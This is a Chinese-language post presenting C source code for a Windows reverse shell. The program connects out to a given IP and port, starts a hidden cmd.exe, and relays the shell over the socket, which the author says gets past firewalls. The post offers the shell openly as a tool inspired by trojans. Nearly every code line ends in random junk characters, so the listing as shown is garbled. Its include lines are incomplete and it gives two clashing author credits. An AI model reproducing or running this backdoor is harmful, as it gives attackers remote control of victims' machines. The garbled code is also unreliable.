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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ;'J{ylRQ  
"Hw%@  
/* ============================== jNA^ (|:  
Rebound port in Windows NT /IN/SZx  
By wind,2006/7 p6'wg#15  
===============================*/ Gd 5J<K  
#include 4?{e?5)  
#include L E>A|M$X  
5=--+8[ bV  
#pragma comment(lib,"wsock32.lib") ij=}3;L_!  
g+98G8 R  
void OutputShell(); 13nXvYo'  
SOCKET sClient; *@,>R6)jI  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; pZ4]oK\*  
"*E%?MG  
void main(int argc,char **argv) ^l\^\ >8  
{ 8?r RLM4  
WSADATA stWsaData; ~y(- j[  
int nRet; |VL(#U  
SOCKADDR_IN stSaiClient,stSaiServer; C,xM) V^a  
,??%["R  
if(argc != 3) z@0*QZ.y 1  
{ !~&vcz0>)9  
printf("Useage:\n\rRebound DestIP DestPort\n"); (fjAsbT  
return; 5/O;&[lYy  
} a9GLFA8Vq  
!be6}  
WSAStartup(MAKEWORD(2,2),&stWsaData); {rG`Upp  
LA.xLU3  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m18If  
H0 YxPk)  
stSaiClient.sin_family = AF_INET; XKU+'Tz  
stSaiClient.sin_port = htons(0); -/.Xf<y58  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); VzR (O B  
6"Km E}  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) #w4= kWJ[  
{ lr[a~ca\  
printf("Bind Socket Failed!\n"); P/'~&*m-  
return; @]#0jiS  
} ^ )Lh5   
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stSaiServer.sin_family = AF_INET; L$GhM!c  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 2@ >04]  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);  h7-!q@  
[UVxtMJ  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) DGx9 \8^  
{ an 3"y6.8  
printf("Connect Error!"); aPq9^S*  
return; ->oQ,ezB  
} ]Ph~-O  
OutputShell(); )K8k3]y&  
} .(,4a<I?%N  
C^S?W=1=w  
void OutputShell() j w)Lofn  
{ 6rEt!v #K[  
char szBuff[1024]; ,#1ke  
SECURITY_ATTRIBUTES stSecurityAttributes; Z1FO.[FV  
OSVERSIONINFO stOsversionInfo; w0Fi~:b  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ,|_ewye  
STARTUPINFO stStartupInfo; eB78z@  
char *szShell; S<f&?\wK=v  
PROCESS_INFORMATION stProcessInformation; J_s?e#s  
unsigned long lBytesRead; =z]&E 78Y  
K,[g<7X5  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 2*Uwp; 0  
O`O{n_o^u  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); f- pt8  
stSecurityAttributes.lpSecurityDescriptor = 0; :<=!v5 SK  
stSecurityAttributes.bInheritHandle = TRUE; 0K'lr;  
<JHU*Z  
V; 1r  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); rm>;B *;  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); v#.FK:u}  
*$x/(!UE  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); BbZ-dXC<  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D>,]EE-  
stStartupInfo.wShowWindow = SW_HIDE; !Y-MUZ$f  
stStartupInfo.hStdInput = hReadPipe; kwdmw_  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ^ 3LM%B  
$=$I^hV  
GetVersionEx(&stOsversionInfo); Tk9*@kqv  
Phl't~k  
switch(stOsversionInfo.dwPlatformId) k0?4vA  
{ _Kx  /z  
case 1: S(5.y%"<  
szShell = "command.com"; iYA06~ d  
break; FpE83}@".w  
default: $nQ; ++  
szShell = "cmd.exe"; StWDNAf)  
break; Tfhg\++u  
} @QtJ/("&WC  
/a6\G.C5  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); *}3e'0`  
jK\2y|&&c  
send(sClient,szMsg,77,0); K;G1cFFyG  
while(1) \~Zj](#  
{ ;C-5R U V  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); bslv_OxJ  
if(lBytesRead) jHBn^Nly  
{ mwCNfwb:  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); -B$oq8)n*  
send(sClient,szBuff,lBytesRead,0); \SnW(,`oX  
} kR6rf_-[  
else 88h-.\%Z  
{ +Bv{A3E9  
lBytesRead=recv(sClient,szBuff,1024,0); whoz^n3NE  
if(lBytesRead<=0) break; /^qCJp`  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); skdSK7 n  
} pq*b"Jku1  
} ppVjFCv0<  
BgD;"GD*W  
return; h|dVVCsN  
}
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